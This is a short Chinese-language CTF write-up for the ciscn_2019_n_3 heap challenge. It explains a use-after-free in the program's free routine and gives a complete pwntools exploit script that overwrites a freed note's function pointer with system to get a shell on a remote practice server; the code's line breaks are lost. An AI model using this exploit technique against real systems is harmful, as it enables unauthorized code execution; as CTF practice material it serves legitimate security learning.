
可以看到只部分的relro,有canary,也就是说got表可以改
函数的主要逻辑,菜单题
主要程序分析就是records数组里存放着堆的地址,然后申请的堆块里是一些控制信息
程序的漏洞是在free这个函数
只是free了堆块没有清除指针
一个uaf漏洞,函数中有了system,所以就不用泄露libc地址来着
from pwn import*from LibcSearcher import*context.log_level = 'debug'context.arch = 'amd64'#io =process('./ciscn_2019_n_3')io = remote("node4.buuoj.cn",28432)elf = ELF('./ciscn_2019_n_3')libc = ELF('libc-2.23.so')#gdb.attach(io)system_plt = elf.sym['system']system_got = elf.got['system']puts_plt = elf.plt['puts']def creat(index,style,size,value):io.recvuntil('CNote > ')io.sendline('1')io.recvuntil('Index > ')io.sendline(str(index))io.recvuntil('Type > ') ###可以用if写条件但是呢没有必要io.sendline(str(style))io.recvuntil('Length > ')io.sendline(str(size))io.recvuntil('Value > ')io.sendline(value)def free(id):io.recvuntil('CNote > ')io.sendline('2')io.recvuntil('Index > ')io.sendline(str(id))def show(i):io.recvuntil('CNote > ')io.sendline('3')io.recvuntil('Index > ')io.sendline(str(i))creat(1,2,0x10,'aaaa')creat(2,2,0x10,'bbbb')creat(3,2,0x10,'cccc')#pause()free(1)free(2)creat(4,2,0xc,b'sh\x00\x00'+p32(system_plt))#pause()free(1)io.interactive()
